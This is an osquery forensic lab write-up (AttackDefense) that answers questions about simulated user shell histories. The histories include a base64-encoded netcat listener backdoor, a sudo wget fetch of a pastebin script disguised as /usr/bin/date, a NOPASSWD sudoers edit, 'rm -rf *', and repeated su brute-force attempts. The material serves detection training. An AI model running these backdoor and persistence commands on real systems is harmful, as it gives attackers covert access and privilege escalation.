

[illegible]

<b>Name</b>	Shell_history and Users Table Basics
<b>URL</b>	<a href="https://www.attackdefense.com/challengedetails?cid=1043">https://www.attackdefense.com/challengedetails?cid=1043</a>
<b>Type</b>	Endpoint Security : osquery

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

**Q1. How many non-system and non-root users are present on the system?**

**Answer. 4**

**Query:** select \* from users;

1000	1000	1000	1000	karen	,,,	/home/karen	/bin/zsh
1001	1001	1001	1001	john	,,,	/home/john	/bin/bash
1002	1002	1002	1002	smith	,,,	/home/smith	/bin/bash
1003	1003	1003	1003	bob	,,,	/home/bob	/bin/bash

**Q2. Which user is using not using the bash shell?**

**Answer. karen**

**Query:** select \* from users;

1000	1000	1000	1000	karen	,,,	/home/karen	/bin/zsh
1001	1001	1001	1001	john	,,,	/home/john	/bin/bash
1002	1002	1002	1002	smith	,,,	/home/smith	/bin/bash
1003	1003	1003	1003	bob	,,,	/home/bob	/bin/bash

**Q3. Where is the history file for user "John" is located? Provide the absolute path of the directory (also add the last /).**

**Answer.** /home/john/

**Query:** select \* from shell\_history where uid = 1001 ;

```
osquery> select * from shell_history where uid = 1001 ;
```

uid	time	command	history_file
1001	0	ls -l	/home/john/.bash_history
1001	0	pwd	/home/john/.bash_history
1001	0	date	/home/john/.bash_history
1001	0	echo "FLAG 1/2: efa91742f0efdc00 " > /tmp/flag	/home/john/.bash_history
1001	0	Exit	/home/john/.bash_history

```
osquery>
```

**Q4. A sensitive file was edited by root user. What is the name of that file? Give full path.**

**Answer.** /etc/sudoers

**Query:** select \* from shell\_history;

```
osquery> select * from shell_history;
W0521 10:12:02.123095 105 virtual_table.cpp:987] The shell_history table returns data based on
against the users table
W0521 10:12:02.123132 105 virtual_table.cpp:1002] Please see the table documentation: https://c
+-----+-----+-----+-----+
| uid | time | command | history_file |
+-----+-----+-----+-----+
| 0 | 0 | ls -l | /root/.bash_history |
| 0 | 0 | pwd | /root/.bash_history |
| 0 | 0 | date | /root/.bash_history |
| 0 | 0 | cd /etc/ | /root/.bash_history |
| 0 | 0 | vim shadow | /root/.bash_history |
| 0 | 0 | ls -la | /root/.bash_history |
| 0 | 0 | echo "Flag 2/2 a622073278351679" > /tmp/flag | /root/.bash_history |
| 0 | 0 | ps -ef | /root/.bash_history |
| 0 | 0 | netstat -tln | /root/.bash_history |
| 0 | 0 | echo "smith ALL=NOPASSWD:/usr/bin/wget" >>/etc/sudoers | /root/.bash_history |
| 0 | 0 | cd /tmp | /root/.bash_history |
| 0 | 0 | ls -al | /root/.bash_history |
| 0 | 0 | tar -zcvf logs.tar.gz logs | /root/.bash_history |
| 0 | 0 | rm -rf * | /root/.bash_history |
+-----+-----+-----+-----+
osquery>
```

**Q5. Which user has installed a possible backdoor?**

**Answer.** bob

**Query:** select \* from shell\_history where uid = 1003;

```
| 1003 | 0 | cd /public/ | /home/bob/.bash_history | |
| 1003 | 0 | cd resources | /home/bob/.bash_history |
| 1003 | 0 | echo -n "bmMgLUwgMzkwMDA=" | base64 -d >> configcheck.sh | /home/bob/.bash_history |
| 1003 | 0 | cd /tmp/ | /home/bob/.bash_history |
```

**Q6. Where is this backdoor kept on the local machine? Provide only the name of the directory.**

**Answer.** resources

**Query:** select \* from shell\_history where uid = 1003;



1003	0	date	/home/bob/.bash_history
1003	0	cd /public/	/home/bob/.bash_history
1003	0	cd resources	/home/bob/.bash_history
1003	0	echo -n "bmMgLWwgMzkwMDA="   base64 -d >> configcheck.sh	/home/bob/.bash_history
1003	0	cd /tmp/	/home/bob/.bash_history

**Q7. A suspicious program is installed on the system by a sudoer user. Where was this program hosted online? Use the full URL.**

**Answer.** <https://pastebin.com/xyhksdshenckax>

**Query:** select \* from shell\_history where uid = 1002 ;

```
osquery>
osquery> select * from shell_history where uid = 1002 ;
```

uid	time	command	history_file
1002	0	ls -l	/home/smith/.bash_history
1002	0	pwd	/home/smith/.bash_history
1002	0	cat /etc/passwd	/home/smith/.bash_history
1002	0	wget https://pastebin.com/xyhksdshenckas -o script.sh	/home/smith/.bash_history
1002	0	ls -l	/home/smith/.bash_history
1002	0	chmod +x script.sh	/home/smith/.bash_history
1002	0	cd /usr/bin	/home/smith/.bash_history
1002	0	sudo wget https://pastebin.com/xyhksdshenckax -o date	/home/smith/.bash_history
1002	0	chmod +x date	/home/smith/.bash_history
1002	0	mv scripts.sh /tmp/	/home/smith/.bash_history

```
osquery>
```

**Q8. A specific user logs into this machine everyday at the same time. Which user is that? provide username.**

**Answer.** karen

**Query:** select \* from shell\_history where uid = 1000;

```
osquery> select * from shell_history where uid = 1000 ;
```

uid	time	command	history_file
1000	1558170000	takebackup.sh	/home/karen/.zsh_history
1000	1558170050	cp ssh remotecon	/home/karen/.zsh_history
1000	1558170500	killall ssh && exit	/home/karen/.zsh_history
1000	1558256400	takebackup.sh	/home/karen/.zsh_history
1000	1558256500	copy /media/sbd/id_rsa .	/home/karen/.zsh_history
1000	1558256505	chmod 600 id_rsa	/home/karen/.zsh_history
1000	1558256506	exit	/home/karen/.zsh_history
1000	1558342800	takebackup.sh	/home/karen/.zsh_history
1000	1558342900	remotecon -i id_rsa 10.10.10.2	/home/karen/.zsh_history
1000	1558343900	exit	/home/karen/.zsh_history
1000	1558429400	takebackup.sh	/home/karen/.zsh_history
1000	1558429600	date	/home/karen/.zsh_history
1000	1558429601	echo "Tue May 21 07:21:53 UTC 2019" > /tmp/timestamp	/home/karen/.zsh_history
1000	1558429605	rm ~/.zsh_history	/home/karen/.zsh_history

```
osquery>
```

**Q9. On what time the user logs into the system? Provide time in HH:MM:SS GMT format.**

**Answer.** 09:00:00 GMT

**Query:** select \* from shell\_history where uid = 1000 ;

Converting 1558170000



## Epoch & Unix Timestamp Conversion Tools

The current Unix epoch time is **1558434935**

Convert epoch to human readable date and vice versa

[batch convert]

**GMT** : Saturday, May 18, 2019 **9:00:00 AM**  
**Your time zone** : Saturday, May 18, 2019 2:30:00 PM GMT+05:30  
**Relative** : 3 days ago

Converting 1558342800



## Epoch & Unix Timestamp Conversion Tools

The current Unix epoch time is 1558434992

### Convert epoch to human readable date and vice versa

1558342800 Timestamp to Human date [\[batch convert\]](#)

**GMT** : Monday, May 20, 2019 9:00:00 AM  
**Your time zone** : Monday, May 20, 2019 2:30:00 PM GMT+05:30  
**Relative** : A day ago

User karen logs in at 09:00:00 AM GMT to run backup operations everyday.

**Q10. One of the users tried to bruteforce the password for other user. What is the name of that user?**

**Answer.** bob

**Query:** select \* from shell\_history where uid = 1003 ;



```
osquery> select * from shell_history where uid = 1003 ;
```

uid	time	command	history_file
1003	0	date	/home/bob/.bash_history
1003	0	pwd	/home/bob/.bash_history
1003	0	whoami	/home/bob/.bash_history
1003	0	sudo	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history
1003	0	su smith	/home/bob/.bash_history

**Q11.** One of the users also has another machine on another private network. What is the IP of that machine?

**Answer.** 10.10.10.2

**Query:** select \* from shell\_history where uid = 1000;



```
osquery> select * from shell_history where uid = 1000 ;
```

uid	time	command	history_file
1000	1558170000	takebackup.sh	/home/karen/.zsh_history
1000	1558170050	cp ssh remotecon	/home/karen/.zsh_history
1000	1558170500	killall ssh && exit	/home/karen/.zsh_history
1000	1558256400	takebackup.sh	/home/karen/.zsh_history
1000	1558256500	copy /media/sbd/id_rsa .	/home/karen/.zsh_history
1000	1558256505	chmod 600 id_rsa	/home/karen/.zsh_history
1000	1558256506	exit	/home/karen/.zsh_history
1000	1558342800	takebackup.sh	/home/karen/.zsh_history
1000	1558342900	remotecon -i id_rsa 10.10.10.2	/home/karen/.zsh_history
1000	1558343900	exit	/home/karen/.zsh_history
1000	1558429400	takebackup.sh	/home/karen/.zsh_history
1000	1558429600	date	/home/karen/.zsh_history
1000	1558429601	echo "Tue May 21 07:21:53 UTC 2019" > /tmp/timestamp	/home/karen/.zsh_history
1000	1558429605	rm ~/.zsh_history	/home/karen/.zsh_history

```
osquery>
```

**Q12. Retrieve the hidden flag.**

**Answer.** efa91742f0efdc00a622073278351679

**Query:** select \* from shell\_history;

```
osquery> select * from shell_history;
```

W0521 10:12:02.123095 105 virtual\_table.cpp:987] The shell\_history table returns data based on against the users table

W0521 10:12:02.123132 105 virtual\_table.cpp:1002] Please see the table documentation: <https://osquery.org/docs/reference/tutorials/queries.html#shell-history>

uid	time	command	history_file
0	0	ls -l	/root/.bash_history
0	0	pwd	/root/.bash_history
0	0	date	/root/.bash_history
0	0	cd /etc/	/root/.bash_history
0	0	vim shadow	/root/.bash_history
0	0	ls -la	/root/.bash_history
0	0	echo "Flag 2/2 a622073278351679" > /tmp/flag	/root/.bash_history
0	0	ps -ef	/root/.bash_history
0	0	netstat -tln	/root/.bash_history
0	0	echo "smith ALL=NOPASSWD:/usr/bin/wget" >>/etc/sudoers	/root/.bash_history
0	0	cd /tmp	/root/.bash_history
0	0	ls -al	/root/.bash_history
0	0	tar -zcvf logs.tar.gz logs	/root/.bash_history
0	0	rm -rf *	/root/.bash_history

```
osquery>
```

**Query:** select \* from shell\_history where uid = 1001 ;

```
osquery> select * from shell_history where uid = 1001 ;
```

uid	time	command
1001	0	ls -l
1001	0	pwd
1001	0	date
1001	0	echo "FLAG 1/2: efa91742f0efdc00 " > /tmp/flag
1001	0	Exit

```
osquery>
```

#### References:

1. osquery (<https://osquery.io/>)
2. osquery (<https://github.com/facebook/osquery>)
3. osquery documentation (<https://osquery.io/schema/3.3.2>)